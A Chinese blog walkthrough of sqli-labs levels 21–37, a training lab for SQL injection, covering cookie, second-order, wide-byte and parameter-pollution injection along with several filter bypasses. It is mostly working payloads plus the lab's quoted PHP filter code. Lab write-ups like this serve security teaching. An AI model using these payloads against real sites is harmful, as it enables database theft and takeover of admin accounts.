【Web安全靶场】sqli-labs-master 21-37 Advanced-Injection

sqli-labs-master 21-37 Advanced-Injection

第一关到第二十关请见专栏

文章目录

第二十一关-Cookie注入

这一道题还是cookie注入,但是在抓包看到cookie的值时却不是原来的dhakkan,经过译码后发现它经过了base64编码,所以构造payload:

') or updatexml(1,concat(0x7e,database()),3) or ('
Jykgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMykgb3IgKCc=

第二十二关-Cookie注入

这一关和第二十一关一样,只是闭合方式不同而已,首先构造base64编码

" or updatexml(1,concat(0x7e,database()),3) or "
IiBvciB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpKSwzKSBvciAi

第二十三关-注释符过滤的报错注入

首先这是get型,先确定闭合方式为单引号闭合

?id=1'
?id=1' and '1'='2

由第二段可知,网站没有对单引号进行过滤,在进行注释--+和#时候发现没有起到作用,查看源代码发现对注释符号进行了过滤:

php 复制代码
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

所以我们使用两个and或者or构造闭合试一下,成功:

?id=1' and updatexml(1,concat(0x7e,database()),3) and '

第二十四关-二次注入

不懂可以点这个博文,有图好讲一点

  • 代码一:实现了简单的用户注册功能,程序获取到GET参数username和参数password,然后将username和password拼接到SQL语句,使用insert语句插入数据库中。由于参数username使用addslashes进行转义(转义了单引号,导致单引号无法闭合),参数password进行了MD5哈希,所以此处不存在SQL注入漏洞。正常插入test'之后,数据库就有了test'这个用户。

  • 当访问username=test'&password=123456时,执行的SQL语句为:

    insert into users(\`username\`,\`password\`)values ('test\'','e10adc3949ba59abbe56e057f20f883e')。
    
php 复制代码
<?php
$con=mysqli_connect("localhost", "root", "root", "sql");

if (mysqli_connect_errno()) {
    echo "数据库连接错误: " . mysqli_connect_error();
}
$username = $_GET['username'];
$password = $_GET['password'];
$result = mysqli_query($con, "insert into users(`username`, `password`) values ('".addslashes($username)."','".md5($password)."')");
echo "新 id 为: " . mysqli_insert_id($con);
?>
  • 代码二:在二次注入中,第二段中的代码如下所示,首先将GET参数ID转成int类型(防止拼接到SQL语句时,存在SQL注入漏洞),然后到users表中获取ID对应的username,接着到person表中查询username对应的数据。但是此处没有对$username进行转义,在第一步中我们注册的用户名是test',此时执行的SQL语句为:

    select * from person where `username`='test''
    

    单引号被带入SQL语句中,由于多了一个单引号,所以页面会报错。

回到24题发现有很多代码。

  • 分析login.php代码发现对于username和password使用了mysql_real_escape_string函数,这个函数会对单引号(')、双引号(")、反斜杠(\)、NULL 字符等加添反斜杠来进行转义,所以在登录界面框无法直接下手。
php 复制代码
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
  • 接着分析创建新用户的代码,在new_user.php中有form表单提交到login_create.php中,所以重点还是login_create.php,发现还是存在转义:
php 复制代码
$username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);

$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
  • 那就登录进去看一下,登录进去是一个修改密码的框,其中不需要填写账号密码,看一下代码:
php 复制代码
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

可以发现漏洞存在于此处,这一道题不是获取数据库而是获取admin的密码,所以我们可以构造一个admin'#的账号,虽然在注册部分单引号会被转义但数据库中并不会存在这个反斜杠,注册账号admin'#密码随便,于是就可以登录进去,然后再修改密码,其中的sql语句为:

php 复制代码
$sql = "UPDATE users SET PASSWORD='你想要的密码' where username='admin'#' and password='$curr_pass' ";

于是修改admin账号不需要原始密码。

第二十五关-过滤OR、AND双写绕过

分析第二十五关的代码可以发现or和and被过滤了:

php 复制代码
$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)

但是只进行了一次替代,所以可以进行双写绕过:

?id=1' anandd sleep(10) --+

?id=1' anandd updatexml(1,concat(0x7e,database()),3) --+

第二十五a关-过滤OR、AND逻辑符号代替

这一道题对or和and进行了过滤,双写有效,但是这是数字型注入,试一下&&和||

?id=1\ 数字型
?id=-1 || sleep(3) 检测&&效果
?id=-1 || updatexml(1,0x7e,3) 无效,所以使用盲注
?id=-1 || if(database()='security',1,0)
?id=-1 || if(database()='security',1,0) 探针有效

但是我不知道为什么&&不行...

第二十六关-过滤一堆乱七八糟报错注入

第二十六关绕过的东西很多...

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

先判断闭合吧:

?id=1' 字符型注入

对于空格过滤使用(),注意点window的phpstudy有时不可以使用%0a这样的编码,而且information里面也有or

?id=1' || updatexml(1, concat(0x7e, (SELECT (group_concat(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schema=database()))) ,1) || '1'='1 括号绕过
?id=1'%0b||updatexml(1, concat(0x7e, (SELECT%0bgroup_concat(table_name)%0bFROM (infoorrmation_schema.tables) WHERE%0btable_schema=database())) ,1) || '1'='1 编码绕过,不知道为啥只可以使用%0b
/**/

() 例如:?id=1' || updatexml(1, concat(0x7e, (SELECT (group_concat(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schema=database()))) ,1) || '1'='1

//下面编码貌似在windows phpstudy环境下无效
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空

`(tap键上面的按钮)

+ 加号

第二十六a关-过滤一堆乱七八糟盲注

分析过滤的东西:

php 复制代码
$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --
$id= preg_replace('/[#]/',"", $id);			//Strip out #
$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes

在尝试上面第二十六关的报错注入时没有显示报错信息,并且查看代码发现**print_r(mysql_error());**部分被注释掉,所以不可以使用报错注入,尝试一下盲注:

?id=2'anandd'1'='1

通过上面语句回显1的信息可以判断这是单引号加上括号闭合。

?id=1')aandnd(length(database())=8)anandd('1

通过上述语句可以判定存在布尔盲注。

?id=1')aandnd(substr(database(),1,1)='s')anandd('1

第二十七关-select、union过滤报错注入

$id = preg_replace('/[\/\*]/', "", $id);		//strip out /*
$id = preg_replace('/[--]/', "", $id);		//Strip out --.
$id = preg_replace('/[#]/', "", $id);			//Strip out #.
$id = preg_replace('/[ +]/', "", $id);	    //Strip out spaces.
$id = preg_replace('/select/m', "", $id);	    //Strip out spaces.
$id = preg_replace('/[ +]/', "", $id);	    //Strip out spaces.
$id = preg_replace('/union/s', "", $id);	    //Strip out union
$id = preg_replace('/select/s', "", $id);	    //Strip out select
$id = preg_replace('/UNION/s', "", $id);	    //Strip out UNION
$id = preg_replace('/SELECT/s', "", $id);	    //Strip out SELECT
$id = preg_replace('/Union/s', "", $id);	    //Strip out Union
$id = preg_replace('/Select/s', "", $id);	    //Strip out select

这一关对select和union进行了处理,但是存在print_r(mysql_error());,所以可以使用报错注入:

?id=1'%0band%0bupdatexml(1,0x7e,3)%0band%0b'1'='1

第二十七a关-select、union过滤盲注与联合注入

这一关在第二十七关的基础上对**print_r(mysql_error());**进行了注释,所以我们使用盲注:

?id=1%0band%0b1=2 说明属于字符型

?id=1'%0band%0b'1'='2 回显1
?id=2'%0band%0b'1'='1 回显2
说明不是单引号 不是单引号加上括号

?id=1"%0band%0b"1"="2 不回显,得到双引号闭合

查看代码,确实是双引号

php 复制代码
$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

进行布尔盲注:

?id=1"%0band%0blength(database())=8%0band"1"="1
?id=1"%0band%0blength(database())=7%0band"1"="1

通过以上语句说明盲注存在,接下来试一下union注入。采取大小写过滤方式:

?id=0"%0bunioN%0bSeleCT%0b1,database(),3%0bor"1"="1

第二十八关-select union过滤

php 复制代码
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.

同样这里也注释了print_r(mysql_error());

?id=2' and '1'='1

回显1的信息,可以得知这是单引号加上括号闭合,尝试一下拼凑

?id=999')%0bunion%0bseunion%0bselectlect%0b1,database(),3%0bor%0b('1'='1

双写绕过成功。

第二十八a关-select union过滤

?id=2'%0band%0b'1'='1

通过上述语句得到单引号加括号闭合,这一道题只对union和select进行过滤,以及没有报错信息,所以我们尝试盲注:

?id=1'%0band%0blength(database())=8%0band%0b'1'='1

通过改变长度查看回显,可知盲注有用,接着还是像28关一样通过拼凑进行注入union%0bseunion%0bselectlect

第二十九关-数字白名单WAF

先分析这个WAF:

php 复制代码
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);

//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
	$match = preg_match("/^\d+$/", $input);
	if($match)
	{
		//echo "you are good";
		//return $match;
	}
	else
	{	
		header('Location: hacked.php');
		//echo "you are bad";
	}
}
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
	$q_s = $query_string;
	$qs_array= explode("&",$q_s);
	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
		if($val=="id")
		{
			$id_value=substr($value,3,30); 
			return $id_value;
			echo "<br>";
			break;
		}
	}
}

首先如果我们输入id=1时候它会正常显示,因为第二个函数截取了id的值然后传递给第一个函数,由于这是数字所以正常显示;如果输入的是id=a,经过第二个函数截取之后传递给第一个函数由于只能是数字所以会重定向至hacked.php;如果我们输入两个id值,即id=1&id=2,在第二个id处构造payload:

?id=0&id=1' and updatexml(1,concat(0x7e,database()),3) and '

第三十关-数字白名单WAF

php 复制代码
function whitelist($input)
{
	$match = preg_match("/^\d+$/", $input);
	if($match)
	{
		//echo "you are good";
		//return $match;
	}
	else
	{	
		header('Location: hacked.php');
		//echo "you are bad";
	}
}
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
	$q_s = $query_string;
	$qs_array= explode("&",$q_s);


	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
		if($val=="id")
		{
			$id_value=substr($value,3,30); 
			return $id_value;
			echo "<br>";
			break;
		}
	}
}

这一道题的WAF和上一道一样,首先判断闭合方式:

?id=1&id=1"

根据报错信息可以知道这是双引号闭合,而且存在报错注入:

?id=1&id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) and "

第三十一关-数字白名单WAF

php 复制代码
//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
	$match = preg_match("/^\d+$/", $input);
	if($match)
	{
		//echo "you are good";
		//return $match;
	}
	else
	{	
		header('Location: hacked.php');
		//echo "you are bad";
	}
}
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
	$q_s = $query_string;
	$qs_array= explode("&",$q_s);
	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
		if($val=="id")
		{
			$id_value=substr($value,3,30); 
			return $id_value;
			echo "<br>";
			break;
		}
	}
}

WAF还是一样,判断闭合方式:

?id=1&id=1"

根据报错信息知道是双引号加括号闭合,并且可能存在报错注入:

?id=1&id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) and ("

第三十二关-宽字节注入

php 复制代码
function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
    return $string;
}
php 复制代码
function strToHex($string)
{
    $hex='';
    for ($i=0; $i < strlen($string); $i++)
    {
        $hex .= dechex(ord($string[$i]));
    }
    return $hex;
}
echo "Hint: The Query String you input is escaped as : ".$id ."<br>";
echo "The Query String you input in Hex becomes : ".strToHex($id). "<br>";

对于第一段代码,单引号、双引号和反斜杠都加上了一个反斜杠,我们试一下输入中文:

输入中文发现回显的是中文为gbk编码,所以我们可以使用宽字节注入,原理就是%df和反斜杠可以组成一个中文字符

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

第三十三关-宽字节注入

php 复制代码
function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}

addslashes()函数会在单引号、双引号、反斜杠和NULL字符前添加反斜杠,对于反斜杠的题目我们试一下中文,中文正常显示所以编码为gbk编码,尝试双字节注入(和上一题一样):

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

同样我们也可以通过char函数:

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=CHAR(115, 101, 99, 117, 114, 105, 116, 121))),3) -- #

同样也可以通过转化成URL编码:

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479)),3) -- #

第三十四关-Post宽字节注入

这是一道Post的注入,在账号处添加单引号回显发现添加了反斜杠,通过查看源代码发现:

php 复制代码
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);

输入中文发现可以回显中文,查看源代码也是使用了gbk编码,所以使用宽字节注入:

uname=1&passwd=1%df' and updatexml(1,concat(0x7e,database()),3) #&Submit=Submit

第三十五关-引号绕过

?id=2-1

通过上述语句可以初步判断这是数字型注入,同样利用引号绕过,但是引号仅在限定条件下使用,我们可以换成十六进制、char等,注意的是不要使用宽字节,因为会将中文带入sql语句中。

?id=2 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=database())),3)
?id=2 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=CHAR(117,115,101,114,115) and table_schema=database())),3)

第三十六关-宽字节注入

?id=1%df'

并尝试输入引号和反斜杠会发现又添加了个反斜杠,输入中文发现有中文回显,使用%df与引号,回显报错信息,得出是单引号闭合,尝试宽字节+报错注入

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=CHAR(117,115,101,114,115))),3) --+

第三十七关-mysql_real_escape_string

php 复制代码
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);

这一关使用mysql_real_escape_string(),编码的字符是 NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z。输入中文,回显中文,所以我们尝试一下宽字节注入:

uname=1&passwd=1%df' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) #&Submit=Submit

注:第三十四和三十七关我使用harkbar不行,用bp就可以

总结

  • and和or黑名单,能使用||就使用||
  • 二次注入中那个反斜杠不会到数据库中
  • ?id=2' and '1'='1可以用来判断有没有括号,回显1就有,回显2的信息就没有
相关推荐
akbar&7 分钟前
计算机三级 - 数据库技术 - 第十三章 大规模数据库架构 笔记
数据库·笔记
架构师ZYL8 分钟前
node.js+Koa框架+MySQL实现注册登录
前端·javascript·数据库·mysql·node.js
酷帅且洋仔11 分钟前
Redis——常用数据类型List
数据库·redis·list
惟长堤一痕18 分钟前
MySQL基础篇(黑马程序员2022-01-18)
数据库·mysql
兔十卅20 分钟前
1、常用的数据库、表操作
数据库
2401_8581202624 分钟前
如何在Oracle中实现数据的加密
数据库·oracle
楠神说软件测试1 小时前
MySQL调优
数据库·mysql
Cedric_Anik1 小时前
MYSQL数据库基础篇——DDL
数据库·mysql
文牧之1 小时前
PostgreSQL的walsender和walreceiver进程介绍
运维·数据库·postgresql
爬山算法1 小时前
Oracle(121)如何进行数据文件的恢复?
数据库·oracle